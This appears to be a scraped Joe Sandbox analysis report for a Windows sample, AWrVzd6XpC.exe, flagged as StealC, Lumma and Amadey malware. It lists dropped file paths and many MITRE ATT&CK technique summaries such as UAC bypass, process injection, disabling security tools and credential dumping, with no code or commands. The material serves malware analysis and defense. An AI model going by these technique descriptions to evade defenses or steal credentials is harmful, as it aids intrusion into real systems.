Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report AWrVzd6XpC.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CBKJEGCB

C:\ProgramData\FIECFBAAAFHIIDGCGCBF

C:\ProgramData\GDAAKFIDGIEGDGDHIDAKKFIIID

C:\ProgramData\IDBGHDGHCGHCAAKFIIECFHCFBF

C:\ProgramData\JDBFIIEB

C:\ProgramData\JDBFIIEBGCAKKEBFBAAF

C:\ProgramData\KEHDHIDAEHCFHJJJJECA

Windows Analysis Report
AWrVzd6XpC.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre